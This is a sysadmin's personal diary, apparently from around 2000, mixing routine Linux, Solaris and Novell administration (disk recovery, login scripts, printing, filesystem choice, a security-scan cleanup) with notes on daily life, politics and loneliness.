Well, I just joined (yeah, I came here from Salon..), so this is an inaugural diary entry. Maybe I'll actually get in the habit of doing a diary this time (then again, I don't know if I'd want some of my weirder thoughts posted in public..).
Anyway..
I just managed to upgrade a Linux Mandrake box about as much as I could. (Loopback filesystems are wonderful -- just download the ISO instead of getting a few thousand RPMs) It's a server running some proprietary mishmash of a RAID system (It's a RaidZone in case you're wondering). Unfortunately, their drivers only work with 2.2.15 (AFAIK, I suppose I could patch things up to 2.2.16, but I don't know if it would work). Also, their driver is distributed as a `.a' library/object file that gets compiled into the kernel. I think that's a GPL violation, but I don't have the energy to complain right now.. blargh.
On a slightly lighter note, I came across an IBM ad touting their Linux support earlier today. Pretty cool, though it isn't making the same waves it would have even a year ago.
I need to find where I put a 3-button mouse I picked up the other day -- X Windows with just 2 buttons is nasty.. I just hope the damn thing works (it was sitting in a pile of what may have been broken equipment). I had another 3-button mouse that worked with USB, but that seems to have gotten fried somehow.. Grr!
I joined a mailing list on Minnesota E-Democracy the other day and finally got around to reading the rules and guidelines. Boy do they suck. You're only allowed two posts per day. You have to put your name, e-mail, and city in your .sig, and you can't post under a pseudonym or anonymously. Some guy was going around flaunting the fact that he puts a 5-paragraph advertisement signature for `healthy' cigarettes at the bottom of each of his posts. I posted a reply to him, quoting part of the rules, only to discover that I was violating at least two rules in the process. I didn't have my city in my signature, and I sent the note with an attachment (my GPG signature).
I think they may have already banned me..
e2fsck: Attempt to read block from filesystem resulted in short read while trying to open /dev/hdb1 Could this be a zero-length partition?
AAAAAAAAAAAAAAA!
I had a particularly nasty crash this morning. For some reason, my hard drives can't handle extended writes, such as what you'd get from ripping the audio off a CD. I've even reformatted the damn things and they still do this (I had thought it was a slightly corrupted fs, but now I'm thinking it must be slightly broken hardware.. grr..)
On days like this when things aren't going my way, I just end up feeling so tired and alone. It doesn't help that my job seems to not allow any human interaction. I should have got a job with my roommate belaying for rock climbers at the local gym. He got a girlfriend right away.. *grumble* I'm way too old to have been single for so long. Oh well, complaining will probably only make things worse.
I looked at some of the LFP variable-width fonts yesterday. They weren't very variable in the widths, and a lot of them were too small for my display. Perhaps more people need to try out Gote and make some decent scalable fonts..
I decided to pass a `-gamma' flag to XFree 4.0.1, and I think it helps. But somehow, Slashdot's colors managed to get even uglier. Also, I see that many websites are designed for non-gamma-corrected displays. *sigh*
Ralph Nader was here in MN again over the weekend. He drew a big crowd for a rally on campus -- 1500 people in one lecture hall. I'm gonna vote for him this fall unless there's a drastic change in the other candidates. I tried to search for some more news about it on the websites of the nearby newspapers, but their search engines are so braindead that they give you the same link 10 times. Maybe I need to make my own search engine for this stuff..
Rode my bike into work today, as I'm sick and tired of waiting for the bus. That and the fact that it was actually cool enough outside to ride without dumping a gallon of sweat. The foliage around here is beautiful this summer -- we've had too much rain, so everything is a very deep green.
Afternoon
Finally figured out how to print from Linux to Novell. It was actually pretty easy, so this will save me the trouble of managing IP addresses for 50 printers..
I just tried out Evolution 0.2 (you can get it through helix-update, you know..) and I really like it! Not as light on the memory as I was hoping, but not as bad as I was fearing. It seems pretty fast (my box is a P166, though I have 128MB of RAM). Of course, the Lotus Notes POP3 server just decided to stop accepting my password..
Yesterday, I was thinking a lot about the reasons I started using Linux. It wasn't because Windows (3.1) was bad, it was because DOS sucked and because OS/2 Warp 4 decided to ignore my SB16 (literally -- Creative wouldn't be caught dead writing new drivers). Of course, what I had really wanted to do was 32-bit graphics development (try finding a free 32-bit DOS assembler), but that never really happened.
Just saw on the news that security (the physical kind) is going to be tight on UMN's campuses the rest of the week. Big genetic conference going on, and they're expecting protests. They've basically shut down access to the St. Paul campus, though I doubt anything similar will happen on the Minneapolis side, as it's a major throughfare for commuters going to/from downtown.
Well, I decided to mke2fs the damn thing.. Apparently, something exploded on my hard drive and threw random bits everywhere. I wrote a tiny program to try and find the 0xEF53 magic number marking a superblock -- found nothing in 1GB of data. I'm still trying to figure that one out especially considering that I did a byte-by-byte check. I should have gotten back hundreds or thousands or millions of false positives, but I got nothing.
I dd'd the first meg or so of the disk, found all sorts of aincent garbage (OnTrack disk manager, anyone?). Perhaps the kernel exploded after hitting the 5% reserved space for root... Hmm.. Found some text files that got turned into binary files from all of the flying bits. Oh well, at least it wasn't important data, and I do have a lot of it backed up on a CD somewhere..
Some of the corruption may have hit my /usr partition as well. MP3s were not playing nicely from XMMS. I ran `rpm -V xmms' and discovered that libmpg123.so had a bad md5sum. I just hope there aren't more problems.. Hmm.. Perhaps this had something to do with the solar flares (though I'd put that at about 3% probability). Maybe I need more shielding...
I'm probably going to write up several mini-howtos so my users can figure out how to mount their home directories via SMB, print to the Novell printers, and use SSH instead of telnet. Pretty generic, but who knows how well things will work. Also, I played around with the login scripts on our main Solaris box. People can now safely get bash running by creating a ~/.iwantbash file. I couldn't just change /etc/passwd to point to /usr/local/bin/bash, because there are other systems in the NIS domain that are Linux boxen with /bin/bash instead. Also, people can get GNU ls to work in color now with a ~/.iwantcolorls file. Hopefully, I put everything in the right place so the scripts people have written won't be broken..
I still have to tell my boss that I'll be gone for a week and a half to do Marching Band. Perhaps I'll have to do some coding on the Flute website. I just wish the U ran PHP on my web server..
Afternoon
*Yawn* *stretch* Ooh.. Actually did some work today. Did some more mangling on login scripts. What a mess those things are. However, I am really beginning to like RedHat's /etc/profile.d idea. I can just make tiny scriptlets and have them get run from either /etc/profile or /etc/bashrc (since it's an either-or situation when you start a shell, AFAICT). I suppose I'll be tinkering on über-scripts that can startup both Solaris and Linux pretty soon. Then again, I shouldn't play too much, since I won't actually have an opportunity to test them (users get a tad peeved when the system reboots in the middle of a week-long run of data analysis..). Oh well.
One of my roommates is coming to the apartment to visit. Yeah, he's not living here this summer. Stayed at home. Whatever. Of course, myself and the other roommate that are around here are happy he's coming, since his car works and we can finally go buy some food. It's either that or try your luck on some 7-month-old beef in the freezer. We're planning on going to X-Men this weekend, and I have another friend I should invite to come along. I hope I'll remember.
Found some school songs encoded in .au and .ra format on the Marching Band's homepage. I think I'll vorbize them, though I don't know how well 8-bit mono works..
Got a note regarding login scripts. Yeah, I probably should try zsh, but I don't know how the users would feel about that. (Of course, I'm amazed that they haven't complained about being forced to use the (not so) good ol' Bourne shell on Solaris). Anyway, I'll have to put that on my todo list..
All this Solaris stuff reminds me. Two or three years ago, I was taking a programming class (Scheme, IIRC). One day, I was talking about how I was using Linux on my home computer. The girl sitting next to me said, "Why do you use Linux when Solaris is free [for personal use]?" *shudder* Probably because I keep finding little gems on our servers, like the fact that /bin is a link to /usr/bin, and (of course) /usr is not the root filesystem. I'm amazed that system actually boots.. Besides, why would I use Solaris if Linux has the best support for my 3D hardware.
Anyway, I'm enjoying a lazy morning -- the boss is doing a bunch of level 0 dumps on the servers and said I didn't have to come in until the late morning/afternoon so I can backup the user data. I'm taking the opportunity to look over some of the e-mail I got regarding a pseudo-FAQ I posted to the LiViD user mailing list. Hopefully, this will keep people from endlessly asking if the Dxr3 is supported..
I think the next computer I set up will be named `tacobell'. I've been naming systems after restaurants lately, and my roommate is pissed that the nearby Taco Bell closed down (it was very poorly managed. You'd try going there at 3:00 PM on a Saturday and it would be closed..) This way, he can have his very own Taco Bell..
IBM is investing a lot of money in Linux. That's pretty cool. Of course, I'm biased when it comes to anything from IBM -- they've provided my parents with income for about 25 years. Both of them have done some pretty interesting things. Mom did clock and calendar code for the AS/400, plus the bootloader and power management code for the S/38. Dad has done work with the '400's 32->64 bit conversion and a lot of more recent work on getting Java to run fast. Of course, since it's IBM, some of Dad's work is patented...
4:00 AM
Can't really sleep for some reason. I guess it's all these thoughts I'm having about Linux, ease of use, and whatnot. ``GNU's Not Unix'' I think people forget that. Some think it's just a play on words, but I believe it. There's no reason why it shouldn't be true -- all of the `true' Unices I've dealt with have been annoying as hell. I love a lot of the GNU stuff. I can't live without GNU fileutils. I need bash. I love the Linux kernel (especially /proc ;-) Though I can't say I get along well with Emacs..
I posted a rant about crappy text editors to my local LUG's mailing list. Again. I think I've done it several times before, and each time I say how much I want to get away from pico and start using something decent. {g}vim is fairly nice, but there are some things I just don't like. Of course, it doesn't help that `true' vi sucks goats (especially for those with Dvorak keyboards), so none of this does me any good if I have to fix something on Solaris, for example. I was wondering if maybe there should be a system-wide file for common keybindings..
I wish I could go through every type of package and find the best one. What's the best text editor? Eesh. The best mailer? Do we need elm? mail? pine? The `best' ones probably haven't been created yet, but I really don't want to start these religious wars all over again. Maybe we should use Roxen instead of Apache. Perhaps there's an up-and-coming SQL database that's way better than PostgreSQL and MySQL. Should everything in Linux be re-written to be object-ified, so it's even easier to make complex and powerful programs from small parts? And why the hell am I running i386 binaries on an AMD K6-2?
So many questions, it all makes my head spin. There's no need for a Linux kernel-based OS to behave much like Unix at all, is there? Can we move beyond pipes to more advanced types of message passing, or do we always have to use Unix or TCP/IP sockets to communicate between local programs? Blah, I wish I knew more of the answers..
On a somewhat more serious note, would it be a good or bad idea to make devices directly accessible through some sort of /dev/bus/{usb,pci,i2c} hierarchy? Most of the PCI devices tell you exactly what resources they use, right? So, can you create generic devices that allow direct access to memory and registers. That way, programs like X don't need to be suid root (if the /dev/bus/pci/1/0.0 AGP video card is writable by the user), and no real video drivers have to be in the kernel.. maybe. But it might allow for neat tricks like setting up eth4 before eth[0123] by directly accessing the device.. It would certainly allow for more user-land development of drivers before trying to implement the same functionality in the kernel. I suppose there has to be some gatekeeper functionality, so it probably all depends on whether or not you can generalize that sort of thing.
If I was a kernel hacker, maybe I'd actually know this stuff. Right now, I have to be content to be one of those annoying `brainstormers' that don't have enough time/talent/knowledge to do this on their own. Sorry if I got anyone's hopes up...
Evening
I had a refreshing weekend. Went out to see X-Men with two of my roommates and another friend on Friday -- very good show. Actually ate real food over the weekend, which was a nice change (our primary vehicle was down, so we hadn't been to the supermarket for a few weeks). However, I wish I'd had a decent chance to do some hacking..
Today I continued mucking around with login scripts -- that task will probably never end.. Solaris doesn't set $USER.. How weird. Oh well, I suppose it's not a big deal.
I played around with bash prompts a little too much. Man, tinkering with a cool color prompt can be really fun. Unfortunately, I have other stuff to do.
We're currently looking to find a cross-platform (well, just Solaris and Linux) backup solution. Right now, we're backing up the Solaris boxes with ufsdump, and the Linux boxes aren't getting backed up. We have BRU, though I'm not sure if we have enough licenses for the whole server cluster. I'll have to see if Amanda is a good choice, though we'll probably need to add SSL support.
We just put Samba on a few of our Solaris servers. It's working fine, but people are having trouble finding them in the browse lists. I'm not sure how stable SMB workgroups are when you have a large number of nodes. Many hosts seem to fade in and out of existence. We talked to the NT guys and they say that they have problems too. I'm sure that being on a /21 network doesn't help. NMB lookups still work, and a person can just type in `\\server\share', so I guess it's not a big deal.
I should really keep writing some documentation for the RLG Security Project that I'm trying to coordinate. At least I'm writing some similar documentation for my users at work, so maybe it won't be a big problem..
Morning
Decklin: Yeah, I saw that $LOGNAME is getting set, which is good for those systems around here that don't have a version of `id' that can print out just the user name..
I think I'll be staying away from Windows 2000. My roommates installed Win2k Pro on one of their systems Friday night. They re-installed on Sunday night. NTOSKRNL.EXE was crashing for some reason. I tried replacing it with a known-good copy (using Wine, EXPAND.EXE, and a few DLLs), but that didn't work. The system just wasn't giving me enough information about what was going wrong. I tried booting with a bootlog, but the system didn't tell me where that log actually was! Grr..
Oh well, it's not my computer ;-)
Anyway, I just had Netscape crash because I hit shift-insert to paste again. I was working with a two-button mouse for way too long. Now I just need to get a decent video card. A lot of computers around here have some really nice displays (I'm sitting in front of a 17" Dell/Sony Trinitron), but the video cards only have 1MB of memory around here. Somebody wasn't thinking.
I copied 8.5 GB of data last night. I thought something had barfed as `du' clearly showed 17GB. Oops.. du counts things in blocks! *sigh*
I'm wondering if it would be worthwhile to put together a 10 or 100Mbps switch using Linux or *BSD just for my apartment. I found out that the hub we have is a piece of dung (I strung a 50 ft. Ethernet cable around the place, then plugged it into the hub. Collisions galore, even though nothing was connected to the other end..). Sheesh, any computer with a PCI bus has a Gb/s backplane, and you can add ports for $50 or less. Something to think about..
Well, I'd better go write some more documentation..
S.5....T /bin/ps S.5....T /bin/login
Heh. That's good.. This box has been broken into before, I guess nobody bothered to clean it up properly..
I've just been going around the different servers and setting up NTP daemons and fiddling with other stuff. The Linux boxes here have been surprisingly stable. One of them has been up 194 days at this point. I almost rebooted it yesterday, but then I realized things were behaving strangely because the automount daemon had died somehow, but the mountpoint hadn't been released. A simple umount did the trick. Maybe that thing will run for another 194 days. I just hope that it will come back up after it finally goes down -- we don't have a display or keyboard on the thing ;-)
Anyway, I'm hoping to work on a new project. I want to make a simple program that will let me input simplified bus schedules and then display them on a webpage (or output to a text file, whatever). It's sort of an effort to keep the campus busdrivers `honest'. The city buses in Minneapolis are very good about being on-time (IMHO). The campus buses for the University, however, vary from their prescribed times by quite a bit. If they could just get down to ±2 minutes (that's a 5-minute window), I'd be happy..
Hopefully, I'll be able to make something simple, yet powerful enough to handle the weirdness of big-city bus schedules..
Hmm. Need to find a good, clean (and hopefully libre) method of getting Reflection X to work with SSH. Right now, it is heavily dependent upon Telnet or the r* commands.. blech. PuTTY is great for just being an SSH client, but if you need to tunnel X sessions, forget it. Perhaps I should just avoid tunnelling and go for direct X connections (ie. Set $DISPLAY to point to the client system rather than server:10 or whatever)..
Anyway, my boss gave me an Internet Security Scanner report about our servers yesterday. ISS guessed the SNMP community name and could change the system configuration. Oh yay. I went through and disabled quite a bit of stuff. At some point, I need to find all of the potentially sharp objects on the servers and make sure that they are safe. (mostly SUID root executables, but perhaps compilers and assemblers as well..)
We have a Linux Mandrake box that had some pretty nifty security stuff built in. I wish RedHat would do that.. However, Mandrake seemed to go a little too far in some places. I mean, should the /usr mountpoint only be readable by root? *shrug* At least it didn't start every service on the planet when I first booted it up. Of course, that system is the fallback fallback. Well, it will be primarily serving NFS shares. Secondary function is being a fallback NIS server. Tertiary function is being the fallback fallback shell server.
Anyway, the security report wasn't terrible, but not as nice as I had hoped. Of course, my Unix boxen were the only ones that didn't have the problem of predictable TCP sequence numbers (if they are not predictable, it is very hard to do complex IP address spoofing). The Novell servers were the worst, with ISS getting 100% of it's guesses correct about the sequence numbers. Most of the NT boxes were around 60%
I still want to work on my bus schedule proggie, but I don't know when I'll get the time. I can't live without my 8-9 hours of sleep (compared to most techies, I'm a total weenie). I might be able to live with less, but then I'd need to be able to sleep in until late (11AM or so). I'd also love to do some work with weather-related programs. You know, something that would send me a message if there's a Tornado Warning or something. I guess I just need to find a decent data source first.. Also, I hope the (U.S.) government will make NEXRAD radar data available publically when the radar contracts expire later this year. Getting hour-late images from Yahoo and other places just sucks. Besides, wouldn't you like to be able to zoom in on the images just like your forecasters do on TV? Or maybe make your very own 3-D flythrough?
Well, I finally got started on my bus schedule project. I'm probably a third of the way through making a decent parser to read in my data (it's full of redundant code, though I hope it will be moderately robust). Then, I actually have to do something with the data and output it into a decent format. I've got a bit of work ahead.
More guests last night. I stayed in my room most of the time, though.. They got in late, and I was busy coding. Bumped into them when I woke up, and they were gone in 30 minutes.
There isn't anything good on TV. Perhaps I should plunk down some change and give in to the cable gods.. Oh well, since there isn't anything on TV right now, maybe I'll actually do something useful. Part of the problem with the consumerized society here in the US is that people forget how to innovate on their own. I realized earlier this year that I had become afraid to be curious about a lot of things. There are so many warnings and locked doors around us these days that we forget what it's like to explore. It doesn't help that every corporation on the planet wants to patent everything they touch these days..
Hmm.. My bus schedule parser sucks.. I think I'll have to rewrite it..
Evening
I tend to forget how useful ANSI colors are. They're wonderful for debugging. Especially when you're trying to find a needle in the haystack of pages and pages of output..
Hey, djcb, fix your last entry -- you're missing a double-quote mark..
Anyway..
Went to the Twin Cities ``Rockin' Ribfest'' today and got a half rack of Roscoe's ribs, some fresh lemonade, and a Dove bar. All for $20.. Eesh. Yet another one of those *fests that that requires you to buy using tickets rather than paying in cash. But it was good.
I rode my bike there and back. There's a fairly nice half gravel/half asphalt road going along a railroad right-of-way. The road basically goes under all of the traffic, which is a much more pleasant way of getting places, IMHO. However, the road is suffering from potholes and washboarding. My arms were getting thoroughly tenderized for a while.
It would be really nice if the University would put a real bike path down there and connect it to the new bike/pedestrian bridge they just installed. One of these days.
I haven't gotten around to working on my bus schedule thing much today, though maybe I'll do something after Futurama and The Simpsons. However, I was pleased that I actually got Evolution to compile and run. Now I've got to try my luck at Nautilus..
One of the things that I worry about with Advogato is that the diary area could be prone to DoS-ing of various kinds. Individuals could presumably plaster diary entries all over the place, or post pages and pages of junk at a time. I imagine there are some checks for this already, but there's almost always a way around it.
Oh, I have a few mail-related problems. One is that I just started using procmail to filter my mail. Locally, I run an IMAP server so it's easier to view mail with disparate clients. Also, I think my mail actually gets loaded faster, as Netscape is not the most efficient at reading/parsing mailbox files. Anyway, I still have to find a way to get procmail to notify the IMAP server that it just dumped mail into a certain folder. Then, the IMAP server must be able to notify my client that there is new mail. This isn't happening automagically, and I'm not sure how to get it to work correctly. I suppose I may have to start using a different IMAP server or something.
In other news, I need to find a good way to consolidate mail at my workplace. Well, my mail doesn't matter, since I'm an admin and can basically do anything I want. However, the head of my department basically wants all mail to go through Lotus Notes (Domino?). I believe it is my task to now find a good way to get Notes to interoperate with my system and the Linux/Unix desktops of others in the organization. I imagine that the server can just run POP or (preferably) IMAP through stunnel. Then, any decent client can read the mail. However, calendaring still remains a bit of an issue, though Lotus is (or at least was) a supporter of the iCalendar protocol, which Evolution is going to support. My only question is, does Lotus actually support iCalendar or not?
I went and rotated LinuxSecurity.com's Linux security quick reference card. I couldn't get it to print nicely when dumping the PostScript version directly to our printers. A simple `-90 rotate' and some tweaking of a `translate' command and everything was peachy-keen. It doesn't display right in gv, but that's not a big deal.
My job today is to set up all of the Novell print queues on one Linux box. Then, everybody can print with Unix lpr/lpd pointed at the Linux box. Saves me the trouble of setting up IPX on all of the client boxes, but that's just two lines in /etc/rc.d/rc.local anyway..
Well, it's the end of July. August cometh. The Minnesota State Fair will be starting soon. (It's the first or second biggest, IIRC. If it's second, it's probably only behind Texas or something. Not bad for a state of 5 million) That's cool. School will also be starting in about a month. That's not so cool. I also need to exercise and practice for Marching Band.
Stress is building. I wish I had a gf to help me relieve that, but maybe having a gf would just make life even more stressful...
I hate Solaris. Well, maybe that's a little strong. I'm just so used to Linux, and it bothers me when things aren't where I expect them to be. Oh well, I'll get over it.
Saw that links browser. I'll have to try it out sometime.
Work is pretty slow, though it's not like I don't have anything to do. I really need to reinstall WinNT on one of my boxes. I suppose I may actually have to sacrifice some RAM from one of the Linux boxes I have -- I think the NT box only has 32 right now, which means it's dog slow. Personally, I don't need NT, but I have users who run it on their own systems, and I need to test out software for them (PuTTY and other stuff).
Lately, I've been organizing a lot of documentation. Clearing out old cruft from The Big Manual that we have for all of our systems here. At some point I actually have to use it to re-install a database or two.
I saw David Boies on Charlie Rose last night. He was talking about the Napster case, and was very good. I knew that he exaggerated some things, but he cited the 1989 Audio Home Recording Act when saying that it's OK to sample music and to share music with your friends noncommercially. I think I'll have to do some reading. I haven't decided if I'm going to buy any music this month, but my musical mind seems to be withering. I think I'll have to go get a few (or a lot) of CDs.
The commercial advertising actor strike is really bothering me. Very few ads are being made, so advertisers do not have any variety in their ads anymore. My mind is going numb after seeing the same ads over and over and over. It's becoming sickening, and I've been avoiding TV.
Grr.. I'm installing CRSP data on a Linux box here at work. Of course, Linux is not a `supported' platform (not that they seem to support their other platforms very well). They have this ungodly Bourne Shell install script that is really, really crummy. Of course, Bourne Shell doesn't have functions, so you have to cut-n-paste whenever you need to reuse code. Oh fun. And the idiots have to go chmod 555 all of their data. What's up with that? You should use 644, morons! Blah.
Anyway, I have to figure out the best way to lay out the directory structure so that the researchers that use it will actually be able to find the stuff they need...
I've had a highly unproductive day so far. I've been reshuffling documentation for our servers. I think I've gotten rid of all of the old crud. I'm lucky that I didn't throw out one section -- there was a server that I thought had been converted over to NT. We needed the root password.. It turned out that it is just partially converted. It's an old NeXT box (!?!@#$*@%) that runs what is apparently a fairly popular web site. At any rate, the filesystem had filled up from log files. Someone must have tried redoing the main index.html file, so the system truncated the length down to zero when they tried to save it... Oops. Thankfully, Google's cache brought it back to within a few months of it's previous glory.
Still haven't had much time to work on any Free Software. I really need the day to be lengthened to 36 hours...
Late/Early
I just had a light bulb burn out in my room. The other one had burned out two days ago. I need to invest in those long-last bulbs, though I bet the ones I get will only last 6 months. (but then I could sue ;-)
Noonish
The sun was out early this morning, and I almost got up. I really should have gotten up, because the sun disappeared again and I ended up feeling really lethargic.. That must be why I've been having trouble getting up lately -- it's been overcast in the mornings for quite a while now..
I've really got to look into this printing stuff a bit more. I saw reference to Grant Taylor and more CUPS stuff. The Linux/Unix printing system really does need to be revamped. I mean, I don't want to define a new printer in /etc/printcap just to be able to run at a different resolution or to print in color or whatever. This is something that has been missing for a long time. Of course, what's the best way to do this? You don't want every program that wants to print to be dependent upon a particular graphical widget or anything (of course, you don't want it to be dependent on graphics at all).
I don't want more printers to be using proprietary languages, and I think that has been named as one of the detractors to CUPS, whether it is true or not. Of course, perhaps the truth about that rumor is the fact that device manufacturers don't know how to make a `driver' for Ghostscript. AFAIK, all of the drivers are compiled into that program, which makes the distribution of drivers very difficult. Regardless, it sounds as though CUPS can help a lot on PostScript printers (using the PPD printer definition files), especially those that have extensions for landscape, portrait, double-sided printing, stapling, collating, etc. It's a heck of a lot easier to do those fancy printing modes by clicking a button and having your program insert the correct commands rather than going and editing the postscript output by hand..
Hmm.. kind of on the topic of printing, I wonder if there are yet any programs for reading the status of my Epson Stylus Color 640. I'd kind of like to know how much ink is left. I had thought that printer would be very nice, but it's really slow. The heads can get very jammed up with ink, making it impossible to print anything that looks good at all without going through three or four cleaning cycles.. All of these things that I have to buy.. must...resist..temptation...to...spend...money...
I do really need to go out and get a new hard drive. They're selling some pretty nice drives at fairly decent prices just a few blocks from where I live. I still have to dig around the web and see if $210 for a 30GB 7400RPM IBM drive is too much. Or should I just go whole-hog and get a 60GB 5400RPM Maxtor for $280? If that's twice the bit density.. would it be faster than the other one? Hmm...
Late Afternoon
Boy, this is getting to be a long entry.. Oh well. I saw gtaylor saw the previous version of this and gave me some pointers. Thanks for the info..
I've been fighting with CUPS this afternoon. It just doesn't want to behave on my system for some reason. I think the backend filters are getting passed the wrong arguments when they get called. I'll have to investigate that further (and wonder why nobody else noticed..) I suppose the mailing list holds the answer.
I'm finally learning a bit more about why I'm here doing this job that I'm doing. The business school where I work is trying to set up a fairly massive Oracle database which will contain all sorts of information, from who is enrolled in which class to the financial data that we have in a number of binary or ASCII data files on our main servers. It's sounding like it will be a massive thing. We've got a quad-processor Sun box (E425R, I think) with a RAID bank that will be running the database, eventually accessible via web, Java, and other front-ends (or so I'm told). Request Brokers and all of those fancy buzzwords were thrown at me. Certainly, Oracle is a nice database, but can't you just slap a PHP frontend on it and call it a day? (At least in the early stages?) Also, it seems like my efforts around here will go to waste if people are no longer logging into my boxen.. A web interface is just so sterile and with zero personality.. Then again, Solaris' ordinary personality really, really sucks..
Last login: Fri Aug 4 11:16:11 2000 from <...> Sun Microsystems Inc. SunOS 5.7 Generic October 1998 $ tpo^?^?^?^?^[[2~^?^[[F tpo: not found ??: not found : not found ?: not found [[2~: not found ?: not found ?: not found [[F: not found $ top top: not foundNOOOOOOOO!
At any rate, I just went put four copies of Seti@home on the server (they're really doing a number on the data chunks.. looks like about 10% every 30 minutes). Some Oracle guys will be coming in eventually to actually set up the database, but they want to have a good idea how it will be used before doing anything. Of course, nobody has really figured that out yet...
I have mentioned previously that I was working on a small NeXT box that has been gleefully serving web pages for years. They've been trying to port the backend of this thing over to NT for nearly the same amount of time. From what I can tell, it's just a medium-sized pile of Perl and TCL scripts. I'll have to see if it's hard to port it over to Linux or not. The box is not exactly in my jurisdiction, but only me and my boss are the only people around here who really seem to know how to administrate Unix-like systems...
Afternoon
Hmm.. I think I may pick up that 60 Gig Maxtor drive
tonight, or perhaps tomorrow sometime. Of course, what sort
of filesystem do you put on that thing? I
need journaling if it's going to be that
big. I see three options: ReiserFS,
Ext3, and GlobalFilesystem.
I'm kind of leaning toward GlobalFilesystem, just because I
don't have to travel far to physically beat on the
developers if something goes wrong ;-)
Well, I decided that I'm making enough money to go out and buy a new large IDE hard drive. I may regret this. Oh well, I can always sell something, like my Palm II, which has been going fairly unused..
Now I'm stuck with the task of figuring out what exactly to do with 60 GB of disk space. My /:/usr disk is 8 GB, and I figure I can move my 2 GB /home onto that disk. Of course, my big issue is that I want a decent filesystem now. I'm not sure how long an e2fsck will take on that much space, and I don't think I want to find out. I mentioned earlier that I see ReiserFS, Ext3, and GFS as options. I worry a bit about Ext3, even though I haven't tried it. Ext2 (semi-)compatility is nice.. I wonder if either ReiserFS or GFS have anything like Ext2's file attributes: immutable, append-only, etc. However, both ReiserFS and GFS are supposed to be significantly faster at many things than Ext2(/3?).
One of my concerns is that of large file support. Not that I expect to be coming across many large files (>2 GB). Apparently, this will all become moot when 2.4.x arrives, although GFS does support large files in 2.2.x. The other thing is journaling. Ext3 is basically designed to add journaling to Ext2. ReiserFS has had journaling for over a year. GFS's journaling is relatively new, added since their last release in late 1999 (it's in CVS). GFS really scores points for being a best-of-breed clustering filesystem (but I'll only be running it as a local FS, so that doesn't really matter), though Reiser counters by having interesting ideas behind it like behaving almost more like a database than a filesystem. If I had an Alpha, I'd probably jump for GFS. It's largely been developed on Alphas, where Reiser is geared more toward i386.
I understand that there were people at OLS from all of these different camps. The GFS people have some slides..
Blah, enough about filesystems. Hmm.. Oops! I forgot about a backup that I was supposed to be doing.. I'd better go do that.
Been reading through the Slashdot story about the protests surrounding the Republican Convention. I wish I could be a few degrees less separated from that situation -- then I could at least be reasonably sure I'm hearing the truth or being told an all-out lie. Regardless, it reminds us in the United States that we really have to stay vigilant about our rights. Unfortunately, I think a lot of people disagree about the definition of `civil disobedience' and the degree to which it is useful.. 90% of the time, I think you can be heard without getting in the way of anyone else (ie, walking/sitting on the street and blocking traffic). More than 99% of the time, violence is not going to help you. Oh well, just my opinion.
Wired ran their own story about the stuff in Philadelphia and mentioned phillyimc.org, a site gathering the views of `independent' reporters. It's pretty cool to hear that it's running on Slash, and the Wired article said that it had been put together by some of the core Debian coders (though Wired may have misinterpreted something..). It's neat to see how Free Software is helping people who are interested in protecting the freedoms of Real Life. This continued merging and mingling is really neat, and I hope that the actions of the people involved in this stuff will have an impact upon governments everywhere.
I think I'll use ReiserFS on my computer instead of Global Filesystem. I like the work of the GFS guys, but ReiserFS is far more likely to be a supported filesystem the next time I have to upgrade or re-install my system. Of course, GFS should definitely go into any product targeted at high-end servers or clusters (well, once the GFS team considers it `stable'). They'll both work on anything, but Reiser will be best suited for PCs, workstations, and individual servers.
Hmm.. I see that I said `Palm II' instead of `Palm III' yesterday. Actually, it's a Palm IIIx... (Why didn't they call 'em `Palm ][' and `Palm ]|[' ? That would have been cool ;-)
The Slashdot story about DOS being essentially removed from WinMe is interesting. Nobody would care, but a lot of programs are still being made for DOS, mostly in the firmware upgrade arena. I had to upgrade the BIOS on my system last night, as I had just purchased a UDMA/66 (or even /100) drive, but my motherboard only has a /33 controller. The drive wasn't detecting.
I went and found the right BIOS from FIC, then tried to copy it to a floppy. Floppies suck, BTW. They suck more than a cluster of Electrolux. Badblocks couldn't find the bad blocks on the diskette. Annoying. Anyway, I was a little worried that I wouldn't be able to find a DOS boot disk, but the roommate actually had a 98 install disk (though he runs Win2k these days).
I guess it just shows we have to put more effort into FreeDOS.
Mid-Morning
The Quest for Companionship: Well, I just came into work. There was a girl on the bus today who I've seen a few times. Actually, she probably lives in the same building I do. Anyway, I waited an extra stop to get off where she did. There's basically no way in hell that I could talk to another person, so I just have to try to increase the chances of accidentally talking to her. Anyway, we both ended up dropping off to pick up something from the same vending area, so I'm somewhat encouraged. However, she pretty well booked out of there, so that's not such a good sign. Unfortunately, I've gone through a bad version of this before. Something I must be careful not to repeat.
There was a girl in High School that I really thought was The One or something along those lines. I lacked the charisma, or perhaps you would just call it the blatant idiocy, to just go up and talk to her. Pardon the use of that annoying phrase, but it was a long and strange trip. I remember the things that happened, and my whole being believes that there was something going on. I just never understood what that something was. Oh well, right now all it means is that there are years of my teenage life that I'll never have back, and that makes me feel terrible. I don't want those pains to come back, and I don't want to be the haunting force in anyone else's life ever again.
Late/Early
It rained tonight, quite hard. It rained much harder a while back, and there was a small leak. Today, it seemed as though the entire wall was leaking, seemingly coming throgh the window, streaming down the walls, and dripping all over. It actually wasn't as bad as that sounds, but I'm sure it will get worse if I don't say something. I'll have to talk to the management tomorrow. Sigh.
I had trouble getting up again this morning. I took a long nap after work yesterday, but then I stayed up very late mucking on IRC and doing other stuff. I decided to telecommute and have ended up having a very unproductive morning. I'm sure I'd be much more productive if I could just find some extra stimuli in my life. At least in High School I was forced to interact with people every day. At college, people aren't crammed so closely together, so they don't interact as much, or at least I don't.
Anyway, spent too much of my time reading Sinfest, which is really funny if you don't mind poking fun at God, swearing, and references to the sexual mentalities surrounding us these days.
I'm going to head out to actually work at work soon. The boss and I are a little worried that our developers are going to start using Microsoft J++ for communicating with the eventually-will-be-installed Oracle database. He gave me a copy of J++ to try out, in order for me to see if it's possible to actually produce something resembling pure Java with it. Unfortunately, my NT box is fairly underpowered, at least for NT4SP5 (P133 w/ 64MB RAM). I'm feeling masochistic, so I'm going to give Win2k a shot. My P166/128MB Linux box is extremely nice and snappy in comparison, though I really need to find a good video card for it (800x600 is becoming tiresome).
I'm displeased with my building's management right now. As I was walking out, I saw that we had a notice slid under the door stating that we owe $50 plus $25 penalty. Dunno what it's for, but I'll have to bring up my leaky wall when we talk to them about it.. Unfortunately, they keep relatively inaccessible hours like 9:00-4:30 or something, so I'll have to come to work late or leave work early some day. Blah.
